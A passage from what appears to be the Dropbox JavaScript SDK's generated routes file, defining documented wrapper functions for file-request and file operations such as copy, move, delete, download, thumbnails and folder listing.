(arg) { return this.request('file_requests/create', arg, 'user', 'api', 'rpc', 'file_requests.write'); }; /** * Delete a batch of closed file requests. * Route attributes: * scope: file_requests.write * @function Dropbox#fileRequestsDelete * @arg {FileRequestsDeleteFileRequestArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<FileRequestsDeleteFileRequestsResult>, DropboxResponseError.<FileRequestsDeleteFileRequestError>>} */ routes.fileRequestsDelete = function (arg) { return this.request('file_requests/delete', arg, 'user', 'api', 'rpc', 'file_requests.write'); }; /** * Delete all closed file requests owned by this user. * Route attributes: * scope: file_requests.write * @function Dropbox#fileRequestsDeleteAllClosed * @returns {Promise.<DropboxResponse<FileRequestsDeleteAllClosedFileRequestsResult>, DropboxResponseError.<FileRequestsDeleteAllClosedFileRequestsError>>} */ routes.fileRequestsDeleteAllClosed = function () { return this.request('file_requests/delete_all_closed', null, 'user', 'api', 'rpc', 'file_requests.write'); }; /** * Returns the specified file request. * Route attributes: * scope: file_requests.read * @function Dropbox#fileRequestsGet * @arg {FileRequestsGetFileRequestArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<FileRequestsFileRequest>, DropboxResponseError.<FileRequestsGetFileRequestError>>} */ routes.fileRequestsGet = function (arg) { return this.request('file_requests/get', arg, 'user', 'api', 'rpc', 'file_requests.read'); }; /** * Returns a list of file requests owned by this user. For apps with the app * folder permission, this will only return file requests with destinations in * the app folder. * Route attributes: * scope: file_requests.read * @function Dropbox#fileRequestsListV2 * @arg {FileRequestsListFileRequestsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FileRequestsListFileRequestsV2Result>, DropboxResponseError.<FileRequestsListFileRequestsError>>} */ routes.fileRequestsListV2 = function (arg) { return this.request('file_requests/list_v2', arg, 'user', 'api', 'rpc', 'file_requests.read'); }; /** * Returns a list of file requests owned by this user. For apps with the app * folder permission, this will only return file requests with destinations in * the app folder. * Route attributes: * scope: file_requests.read * @function Dropbox#fileRequestsList * @returns {Promise.<DropboxResponse<FileRequestsListFileRequestsResult>, DropboxResponseError.<FileRequestsListFileRequestsError>>} */ routes.fileRequestsList = function () { return this.request('file_requests/list', null, 'user', 'api', 'rpc', 'file_requests.read'); }; /** * Once a cursor has been retrieved from list_v2, use this to paginate through * all file requests. The cursor must come from a previous call to list_v2 or * list/continue. * Route attributes: * scope: file_requests.read * @function Dropbox#fileRequestsListContinue * @arg {FileRequestsListFileRequestsContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FileRequestsListFileRequestsV2Result>, DropboxResponseError.<FileRequestsListFileRequestsContinueError>>} */ routes.fileRequestsListContinue = function (arg) { return this.request('file_requests/list/continue', arg, 'user', 'api', 'rpc', 'file_requests.read'); }; /** * Update a file request. * Route attributes: * scope: file_requests.write * @function Dropbox#fileRequestsUpdate * @arg {FileRequestsUpdateFileRequestArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<FileRequestsFileRequest>, DropboxResponseError.<FileRequestsUpdateFileRequestError>>} */ routes.fileRequestsUpdate = function (arg) { return this.request('file_requests/update', arg, 'user', 'api', 'rpc', 'file_requests.write'); }; /** * Returns the metadata for a file or folder. This is an alpha endpoint * compatible with the properties API. Note: Metadata for the root folder is * unsupported. * Route attributes: * scope: files.metadata.read * @function Dropbox#filesAlphaGetMetadata * @deprecated * @arg {FilesAlphaGetMetadataArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<(FilesFileMetadata|FilesFolderMetadata|FilesDeletedMetadata)>, DropboxResponseError.<FilesAlphaGetMetadataError>>} */ routes.filesAlphaGetMetadata = function (arg) { return this.request('files/alpha/get_metadata', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Create a new file with the contents provided in the request. Note that the * behavior of this alpha endpoint is unstable and subject to change. Do not use * this to upload a file larger than 150 MB. Instead, create an upload session * with upload_session/start. * Route attributes: * scope: files.content.write * @function Dropbox#filesAlphaUpload * @deprecated * @arg {FilesUploadArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesFileMetadata>, DropboxResponseError.<FilesUploadError>>} */ routes.filesAlphaUpload = function (arg) { return this.request('files/alpha/upload', arg, 'user', 'content', 'upload', 'files.content.write'); }; /** * Copy a file or folder to a different location in the user's Dropbox. If the * source path is a folder all its contents will be copied. * Route attributes: * scope: files.content.write * @function Dropbox#filesCopyV2 * @arg {FilesRelocationArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesRelocationResult>, DropboxResponseError.<FilesRelocationError>>} */ routes.filesCopyV2 = function (arg) { return this.request('files/copy_v2', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Copy a file or folder to a different location in the user's Dropbox. If the * source path is a folder all its contents will be copied. * Route attributes: * scope: files.content.write * @function Dropbox#filesCopy * @deprecated * @arg {FilesRelocationArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<(FilesFileMetadata|FilesFolderMetadata|FilesDeletedMetadata)>, DropboxResponseError.<FilesRelocationError>>} */ routes.filesCopy = function (arg) { return this.request('files/copy', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Copy multiple files or folders to different locations at once in the user's * Dropbox. This route will replace copy_batch. The main difference is this * route will return status for each entry, while copy_batch raises failure if * any entry fails. This route will either finish synchronously, or return a job * ID and do the async copy job in background. Please use copy_batch/check_v2 to * check the job status. * Route attributes: * scope: files.content.write * @function Dropbox#filesCopyBatchV2 * @arg {Object} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesRelocationBatchV2Launch>, DropboxResponseError.<void>>} */ routes.filesCopyBatchV2 = function (arg) { return this.request('files/copy_batch_v2', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Copy multiple files or folders to different locations at once in the user's * Dropbox. This route will return job ID immediately and do the async copy job * in background. Please use copy_batch/check to check the job status. * Route attributes: * scope: files.content.write * @function Dropbox#filesCopyBatch * @deprecated * @arg {FilesRelocationBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesRelocationBatchLaunch>, DropboxResponseError.<void>>} */ routes.filesCopyBatch = function (arg) { return this.request('files/copy_batch', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Returns the status of an asynchronous job for copy_batch_v2. It returns list * of results for each entry. * Route attributes: * scope: files.content.write * @function Dropbox#filesCopyBatchCheckV2 * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesRelocationBatchV2JobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.filesCopyBatchCheckV2 = function (arg) { return this.request('files/copy_batch/check_v2', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Returns the status of an asynchronous job for copy_batch. If success, it * returns list of results for each entry. * Route attributes: * scope: files.content.write * @function Dropbox#filesCopyBatchCheck * @deprecated * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesRelocationBatchJobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.filesCopyBatchCheck = function (arg) { return this.request('files/copy_batch/check', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Get a copy reference to a file or folder. This reference string can be used * to save that file or folder to another user's Dropbox by passing it to * copy_reference/save. * Route attributes: * scope: files.content.write * @function Dropbox#filesCopyReferenceGet * @arg {FilesGetCopyReferenceArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesGetCopyReferenceResult>, DropboxResponseError.<FilesGetCopyReferenceError>>} */ routes.filesCopyReferenceGet = function (arg) { return this.request('files/copy_reference/get', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Save a copy reference returned by copy_reference/get to the user's Dropbox. * Route attributes: * scope: files.content.write * @function Dropbox#filesCopyReferenceSave * @arg {FilesSaveCopyReferenceArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesSaveCopyReferenceResult>, DropboxResponseError.<FilesSaveCopyReferenceError>>} */ routes.filesCopyReferenceSave = function (arg) { return this.request('files/copy_reference/save', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Create a folder at a given path. * Route attributes: * scope: files.content.write * @function Dropbox#filesCreateFolderV2 * @arg {FilesCreateFolderArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesCreateFolderResult>, DropboxResponseError.<FilesCreateFolderError>>} */ routes.filesCreateFolderV2 = function (arg) { return this.request('files/create_folder_v2', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Create a folder at a given path. * Route attributes: * scope: files.content.write * @function Dropbox#filesCreateFolder * @deprecated * @arg {FilesCreateFolderArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesFolderMetadata>, DropboxResponseError.<FilesCreateFolderError>>} */ routes.filesCreateFolder = function (arg) { return this.request('files/create_folder', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Create multiple folders at once. This route is asynchronous for large * batches, which returns a job ID immediately and runs the create folder batch * asynchronously. Otherwise, creates the folders and returns the result * synchronously for smaller inputs. You can force asynchronous behaviour by * using the CreateFolderBatchArg.force_async flag. Use * create_folder_batch/check to check the job status. * Route attributes: * scope: files.content.write * @function Dropbox#filesCreateFolderBatch * @arg {FilesCreateFolderBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesCreateFolderBatchLaunch>, DropboxResponseError.<void>>} */ routes.filesCreateFolderBatch = function (arg) { return this.request('files/create_folder_batch', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Returns the status of an asynchronous job for create_folder_batch. If * success, it returns list of result for each entry. * Route attributes: * scope: files.content.write * @function Dropbox#filesCreateFolderBatchCheck * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesCreateFolderBatchJobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.filesCreateFolderBatchCheck = function (arg) { return this.request('files/create_folder_batch/check', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Delete the file or folder at a given path. If the path is a folder, all its * contents will be deleted too. A successful response indicates that the file * or folder was deleted. The returned metadata will be the corresponding * FileMetadata or FolderMetadata for the item at time of deletion, and not a * DeletedMetadata object. * Route attributes: * scope: files.content.write * @function Dropbox#filesDeleteV2 * @arg {FilesDeleteArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesDeleteResult>, DropboxResponseError.<FilesDeleteError>>} */ routes.filesDeleteV2 = function (arg) { return this.request('files/delete_v2', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Delete the file or folder at a given path. If the path is a folder, all its * contents will be deleted too. A successful response indicates that the file * or folder was deleted. The returned metadata will be the corresponding * FileMetadata or FolderMetadata for the item at time of deletion, and not a * DeletedMetadata object. * Route attributes: * scope: files.content.write * @function Dropbox#filesDelete * @deprecated * @arg {FilesDeleteArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<(FilesFileMetadata|FilesFolderMetadata|FilesDeletedMetadata)>, DropboxResponseError.<FilesDeleteError>>} */ routes.filesDelete = function (arg) { return this.request('files/delete', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Delete multiple files/folders at once. This route is asynchronous, which * returns a job ID immediately and runs the delete batch asynchronously. Use * delete_batch/check to check the job status. * Route attributes: * scope: files.content.write * @function Dropbox#filesDeleteBatch * @arg {FilesDeleteBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesDeleteBatchLaunch>, DropboxResponseError.<void>>} */ routes.filesDeleteBatch = function (arg) { return this.request('files/delete_batch', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Returns the status of an asynchronous job for delete_batch. If success, it * returns list of result for each entry. * Route attributes: * scope: files.content.write * @function Dropbox#filesDeleteBatchCheck * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesDeleteBatchJobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.filesDeleteBatchCheck = function (arg) { return this.request('files/delete_batch/check', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Download a file from a user's Dropbox. * Route attributes: * scope: files.content.read * @function Dropbox#filesDownload * @arg {FilesDownloadArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesFileMetadata>, DropboxResponseError.<FilesDownloadError>>} */ routes.filesDownload = function (arg) { return this.request('files/download', arg, 'user', 'content', 'download', 'files.content.read'); }; /** * Download a folder from the user's Dropbox, as a zip file. The folder must be * less than 20 GB in size and any single file within must be less than 4 GB in * size. The resulting zip must have fewer than 10,000 total file and folder * entries, including the top level folder. The input cannot be a single file. * Note: this endpoint does not support HTTP range requests. * Route attributes: * scope: files.content.read * @function Dropbox#filesDownloadZip * @arg {FilesDownloadZipArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesDownloadZipResult>, DropboxResponseError.<FilesDownloadZipError>>} */ routes.filesDownloadZip = function (arg) { return this.request('files/download_zip', arg, 'user', 'content', 'download', 'files.content.read'); }; /** * Export a file from a user's Dropbox. This route only supports exporting files * that cannot be downloaded directly and whose ExportResult.file_metadata has * ExportInfo.export_as populated. * Route attributes: * scope: files.content.read * @function Dropbox#filesExport * @arg {FilesExportArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesExportResult>, DropboxResponseError.<FilesExportError>>} */ routes.filesExport = function (arg) { return this.request('files/export', arg, 'user', 'content', 'download', 'files.content.read'); }; /** * Return the lock metadata for the given list of paths. * Route attributes: * scope: files.content.read * @function Dropbox#filesGetFileLockBatch * @arg {FilesLockFileBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesLockFileBatchResult>, DropboxResponseError.<FilesLockFileError>>} */ routes.filesGetFileLockBatch = function (arg) { return this.request('files/get_file_lock_batch', arg, 'user', 'api', 'rpc', 'files.content.read'); }; /** * Returns the metadata for a file or folder. Note: Metadata for the root folder * is unsupported. * Route attributes: * scope: files.metadata.read * @function Dropbox#filesGetMetadata * @arg {FilesGetMetadataArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<(FilesFileMetadata|FilesFolderMetadata|FilesDeletedMetadata)>, DropboxResponseError.<FilesGetMetadataError>>} */ routes.filesGetMetadata = function (arg) { return this.request('files/get_metadata', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Get a preview for a file. Currently, PDF previews are generated for files * with the following extensions: .ai, .doc, .docm, .docx, .eps, .gdoc, * .gslides, .odp, .odt, .pps, .ppsm, .ppsx, .ppt, .pptm, .pptx, .rtf. HTML * previews are generated for files with the following extensions: .csv, .ods, * .xls, .xlsm, .gsheet, .xlsx. Other formats will return an unsupported * extension error. * Route attributes: * scope: files.content.read * @function Dropbox#filesGetPreview * @arg {FilesPreviewArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesFileMetadata>, DropboxResponseError.<FilesPreviewError>>} */ routes.filesGetPreview = function (arg) { return this.request('files/get_preview', arg, 'user', 'content', 'download', 'files.content.read'); }; /** * Get a temporary link to stream content of a file. This link will expire in * four hours and afterwards you will get 410 Gone. This URL should not be used * to display content directly in the browser. The Content-Type of the link is * determined automatically by the file's mime type. * Route attributes: * scope: files.content.read * @function Dropbox#filesGetTemporaryLink * @arg {FilesGetTemporaryLinkArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesGetTemporaryLinkResult>, DropboxResponseError.<FilesGetTemporaryLinkError>>} */ routes.filesGetTemporaryLink = function (arg) { return this.request('files/get_temporary_link', arg, 'user', 'api', 'rpc', 'files.content.read'); }; /** * Get a one-time use temporary upload link to upload a file to a Dropbox * location. This endpoint acts as a delayed upload. The returned temporary * upload link may be used to make a POST request with the data to be uploaded. * The upload will then be perfomed with the CommitInfo previously provided to * get_temporary_upload_link but evaluated only upon consumption. Hence, errors * stemming from invalid CommitInfo with respect to the state of the user's * Dropbox will only be communicated at consumption time. Additionally, these * errors are surfaced as generic HTTP 409 Conflict responses, potentially * hiding issue details. The maximum temporary upload link duration is 4 hours. * Upon consumption or expiration, a new link will have to be generated. * Multiple links may exist for a specific upload path at any given time. The * POST request on the temporary upload link must have its Content-Type set to * "application/octet-stream". Example temporary upload link consumption * request: curl -X POST * https://content.dropboxapi.com/apitul/1/bNi2uIYF51cVBND --header * "Content-Type: application/octet-stream" --data-binary @local_file.txt A * successful temporary upload link consumption request returns the content hash * of the uploaded data in JSON format. Example successful temporary upload * link consumption response: {"content-hash": * "599d71033d700ac892a0e48fa61b125d2f5994"} An unsuccessful temporary upload * link consumption request returns any of the following status codes: HTTP 400 * Bad Request: Content-Type is not one of application/octet-stream and * text/plain or request is invalid. HTTP 409 Conflict: The temporary upload * link does not exist or is currently unavailable, the upload failed, or * another error happened. HTTP 410 Gone: The temporary upload link is expired * or consumed. Example unsuccessful temporary upload link consumption * response: Temporary upload link has been recently consumed. * Route attributes: * scope: files.content.write * @function Dropbox#filesGetTemporaryUploadLink * @arg {FilesGetTemporaryUploadLinkArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesGetTemporaryUploadLinkResult>, DropboxResponseError.<void>>} */ routes.filesGetTemporaryUploadLink = function (arg) { return this.request('files/get_temporary_upload_link', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Get a thumbnail for an image. This method currently supports files with the * following file extensions: jpg, jpeg, png, tiff, tif, gif, webp, ppm and bmp. * Photos that are larger than 20MB in size won't be converted to a thumbnail. * Route attributes: * scope: files.content.read * @function Dropbox#filesGetThumbnail * @arg {FilesThumbnailArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesFileMetadata>, DropboxResponseError.<FilesThumbnailError>>} */ routes.filesGetThumbnail = function (arg) { return this.request('files/get_thumbnail', arg, 'user', 'content', 'download', 'files.content.read'); }; /** * Get a thumbnail for an image. This method currently supports files with the * following file extensions: jpg, jpeg, png, tiff, tif, gif, webp, ppm and bmp. * Photos that are larger than 20MB in size won't be converted to a thumbnail. * Route attributes: * scope: files.content.read * @function Dropbox#filesGetThumbnailV2 * @arg {FilesThumbnailV2Arg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesPreviewResult>, DropboxResponseError.<FilesThumbnailV2Error>>} */ routes.filesGetThumbnailV2 = function (arg) { return this.request('files/get_thumbnail_v2', arg, 'app, user', 'content', 'download', 'files.content.read'); }; /** * Get thumbnails for a list of images. We allow up to 25 thumbnails in a single * batch. This method currently supports files with the following file * extensions: jpg, jpeg, png, tiff, tif, gif, webp, ppm and bmp. Photos that * are larger than 20MB in size won't be converted to a thumbnail. * Route attributes: * scope: files.content.read * @function Dropbox#filesGetThumbnailBatch * @arg {FilesGetThumbnailBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesGetThumbnailBatchResult>, DropboxResponseError.<FilesGetThumbnailBatchError>>} */ routes.filesGetThumbnailBatch = function (arg) { return this.request('files/get_thumbnail_batch', arg, 'user', 'content', 'rpc', 'files.content.read'); }; /** * Starts returning the contents of a folder. If the result's * ListFolderResult.has_more field is true, call list_folder/continue with the * returned ListFolderResult.cursor to retrieve more entries. If you're using * ListFolderArg.recursive set to true to keep a local cache of the contents of * a Dropbox account, iterate through each entry in order and process them as * follows to keep your local state in sync: For each FileMetadata, store the * new entry at the given path in your local state. If the required parent * folders don't exist yet, create them. If there's already something else at * the given path, replace it and remove all its children. For each * FolderMetadata, store the new entry at the given path in your local state. If * the required parent folders don't exist yet, create them. If there's already * something else at the given path, replace it but leave the children as they * are. Check the new entry's FolderSharingInfo.read_only and set all its * children's read-only statuses to match. For each DeletedMetadata, if your * local state has something at the given path, remove it and all its children. * If there's nothing at the given path, ignore this entry. Note: * auth.RateLimitError may be returned if multiple list_folder or * list_folder/continue calls with same parameters are made simultaneously by * same API app for same user. If your app implements retry logic, please hold * off the retry until the previous request finishes. * Route attributes: * scope: files.metadata.read * @function Dropbox#filesListFolder * @arg {FilesListFolderArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesListFolderResult>, DropboxResponseError.<FilesListFolderError>>} */ routes.filesListFolder = function (arg) { return this.request('files/list_folder', arg, 'app, user', 'api', 'rpc', 'files.metadata.read'); }; /** * Once a cursor has been retrieved from list_folder, use this to paginate * through all files and retrieve updates to the folder, following the same * rules as documented for list_folder. * Route attributes: * scope: files.metadata.read * @function Dropbox#filesListFolderContinue * @arg {FilesListFolderContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesListFolderResult>, DropboxResponseError.<FilesListFolderContinueError>>} */ routes.filesListFolderContinue = function (arg) { return this.request('files/list_folder/continue', arg, 'app, user', 'api', 'rpc', 'files.metadata.read'); }; /** * A way to quickly get a cursor for the folder's state. Unlike list_folder, * list_folder/get_latest_cursor doesn't return any entries. This endpoint is * for app which only needs to know about new files and modifications and * doesn't need to know about files that already exist in Dropbox. * Route attributes: * scope: files.metadata.read * @function Dropbox#filesListFolderGetLatestCursor * @arg {FilesListFolderArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesListFolderGetLatestCursorResult>, DropboxResponseError.<FilesListFolderError>>} */ routes.filesListFolderGetLatestCursor = function (arg) { return this.request('files/list_folder/get_latest_cursor', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * A longpoll endpoint to wait for changes on an account. In conjunction with * list_folder/continue, this call gives you a low-latency way to monitor an * account for file changes. The connection will block until there are changes * available or a timeout occurs. This endpoint is useful mostly for client-side * apps. If you're looking for server-side notifications, check out our webhooks * documentation https://www.dropbox.com/developers/reference/webhooks. * Route attributes: * scope: files.metadata.read * @function Dropbox#filesListFolderLongpoll * @arg {FilesListFolderLongpollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesListFolderLongpollResult>, DropboxResponseError.<FilesListFolderLongpollError>>} */ routes.filesListFolderLongpoll = function (arg) { return this.request('files/list_folder/longpoll', arg, 'noauth', 'notify', 'rpc', 'files.metadata.read'); }; /** * Returns revisions for files based on a file path or a file id. The file path * or file id is identified from the latest file entry at the given file path or * id. This end point allows your app to query either by file path or file id by * setting the mode parameter appropriately. In the ListRevisionsMode.path * (default) mode, all revisions at the same file path as the latest file entry * are returned. If revisions with the same file id are desired, then mode must * be set to ListRevisionsMode.id. The ListRevisionsMode.id mode is useful to * retrieve revisions for a given file across moves or renames. * Route attributes: * scope: files.metadata.read * @function Dropbox#filesListRevisions * @arg {FilesListRevisionsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesListRevisionsResult>, DropboxResponseError.<FilesListRevisionsError>>} */ routes.filesListRevisions = function (arg) { return this.request('files/list_revisions', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Lock the files at the given paths. A locked file will be writable only by the * lock holder. A successful response indicates that the file has been locked. * Returns a list of the locked file paths and their metadata after this * operation. * Route attributes: * scope: files.content.write * @function Dropbox#filesLockFileBatch * @arg {FilesLockFileBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesLockFileBatchResult>, DropboxResponseError.<FilesLockFileError>>} */ routes.filesLockFileBatch = function (arg) { return this.request('files/lock_file_batch', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Move a file or folder to a different location in the user's Dropbox. If the * source path is a folder all its contents will be moved. Note that we do not * currently support case-only renaming. * Route attributes: * scope: files.content.write * @function Dropbox#filesMoveV2 * @arg {FilesRelocationArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesRelocationResult>, DropboxResponseError.<FilesRelocationError>>} */ routes.filesMoveV2 = function (arg) { return this.request('files/move_v2', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Move a file or folder to a different location in the user's Dropbox. If the * source path is a folder all its contents will be moved. * Route attributes: * scope: files.content.write * @function Dropbox#filesMove * @deprecated * @arg {FilesRelocationArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<(FilesFileMetadata|FilesFolderMetadata|FilesDeletedMetadata)>, DropboxResponseError.<FilesRelocationError>>} */ routes.filesMove = function (arg) { return this.request('files/move', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Move multiple files or folders to different locations at once in the user's * Dropbox. Note that we do not currently support case-only renaming. This route * will replace move_batch. The main difference is this route will return status * for each entry, while move_batch raises failure if any entry fails. This * route will either finish synchronously, or return a job ID and do the async * move job in background. Please use move_batch/check_v2 to check the job * status. * Route attributes: * scope: files.content.write * @function Dropbox#filesMoveBatchV2 * @arg {FilesMoveBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesRelocationBatchV2Launch>, DropboxResponseError.<void>>} */ routes.filesMoveBatchV2 = function (arg) { return this.request('files/move_batch_v2', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Move multiple files or folders to different locations at once in the user's * Dropbox. This route will return job ID immediately and do the async moving * job in background. Please use move_batch/check to check the job status. * Route attributes: * scope: files.content.write * @function Dropbox#filesMoveBatch * @deprecated * @arg {FilesRelocationBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesRelocationBatchLaunch>, DropboxResponseError.<void>>} */ routes.filesMoveBatch = function (arg) { return this.request('files/move_batch', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Returns the status of an asynchronous job for move_batch_v2. It returns list * of results for each entry. * Route attributes: * scope: files.content.write * @function Dropbox#filesMoveBatchCheckV2 * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesRelocationBatchV2JobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.filesMoveBatchCheckV2 = function (arg) { return this.request('files/move_batch/check_v2', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Returns the status of an asynchronous job for move_batch. If success, it * returns list of results for each entry. * Route attributes: * scope: files.content.write * @function Dropbox#filesMoveBatchCheck * @deprecated * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesRelocationBatchJobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.filesMoveBatchCheck = function (arg) { return this.request('files/move_batch/check', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Creates a new Paper doc with the provided content. * Route attributes: * scope: files.content.write * @function Dropbox#filesPaperCreate * @arg {FilesPaperCreateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesPaperCreateResult>, DropboxResponseError.<FilesPaperCreateError>>} */ routes.filesPaperCreate = function (arg) { return this.request('files/paper/create', arg, 'user', 'api', 'upload', 'files.content.write'); }; /** * Updates an existing Paper doc with the provided content. * Route attributes: * scope: files.content.write * @function Dropbox#filesPaperUpdate * @arg {FilesPaperUpdateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesPaperUpdateResult>, DropboxResponseError.<FilesPaperUpdateError>>} */ routes.filesPaperUpdate = function (arg) { return this.request('files/paper/update', arg, 'user', 'api', 'upload', 'files.content.write'); }; /** * Permanently delete the file or folder at a given path (see * https://www.dropbox.com/en/help/40). If the given file or folder is not yet * deleted, this route will first delete it. It is possible for this route to * successfully delete, then fail to permanently delete. Note: This endpoint is * only available for Dropbox Business apps. * Route attributes: * scope: files.permanent_delete * @function Dropbox#filesPermanentlyDelete * @arg {FilesDeleteArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilesDeleteError>>} */ routes.filesPermanentlyDelete = function (arg) { return this.request('files/permanently_delete', arg, 'user', 'api', 'rpc', 'files.permanent_delete'); }; /** * Route attributes: * scope: files.metadata.write * @function Dropbox#filesPropertiesAdd * @deprecated * @arg {FilePropertiesAddPropertiesArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilePropertiesAddPropertiesError>>} */ routes.filesPropertiesAdd = function (arg) { return this.request('files/properties/add', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Route attributes: * scope: files.metadata.write * @function Dropbox#filesPropertiesOverwrite * @deprecated * @arg {FilePropertiesOverwritePropertyGroupArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilePropertiesInvalidPropertyGroupError>>} */ routes.filesPropertiesOverwrite = function (arg) { return this.request('files/properties/overwrite', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Route attributes: * scope: files.metadata.write * @function Dropbox#filesPropertiesRemove * @deprecated * @arg {FilePropertiesRemovePropertiesArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilePropertiesRemovePropertiesError>>} */ routes.filesPropertiesRemove = function (arg) { return this.request('files/properties/remove', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Route attributes: * scope: files.metadata.read * @function Dropbox#filesPropertiesTemplateGet * @deprecated * @arg {FilePropertiesGetTemplateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilePropertiesGetTemplateResult>, DropboxResponseError.<FilePropertiesTemplateError>>} */ routes.filesPropertiesTemplateGet = function (arg) { return this.request('files/properties/template/get', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Route attributes: * scope: files.metadata.read * @function Dropbox#filesPropertiesTemplateList * @deprecated * @returns {Promise.<DropboxResponse<FilePropertiesListTemplateResult>, DropboxResponseError.<FilePropertiesTemplateError>>} */ routes.filesPropertiesTemplateList = function () { return this.request('files/properties/template/list', null, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Route attributes: * scope: files.metadata.write * @function Dropbox#filesPropertiesUpdate * @deprecated * @arg {FilePropertiesUpdatePropertiesArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilePropertiesUpdatePropertiesError>>} */ routes.filesPropertiesUpdate = function (arg) { return this.request('files/properties/update', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Restore a specific revision of a file to the given path. * Route attributes: * scope: files.content.write * @function Dropbox#filesRestore * @arg {FilesRestoreArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesFileMetadata>, DropboxResponseError.<FilesRestoreError>>} */ routes.filesRestore = function (arg) { return this.request('files/restore', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Save the data from a specified URL into a file in user's Dropbox. 